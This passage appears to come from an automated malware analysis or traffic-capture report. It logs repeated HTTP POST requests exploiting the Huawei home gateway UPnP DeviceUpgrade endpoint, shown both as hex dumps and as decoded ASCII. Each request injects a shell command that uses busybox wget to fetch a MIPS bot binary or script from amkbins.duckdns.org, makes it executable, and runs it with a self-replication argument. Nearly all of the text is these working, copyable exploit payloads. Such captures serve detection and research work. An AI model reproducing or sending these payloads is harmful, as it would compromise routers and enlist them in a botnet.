6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 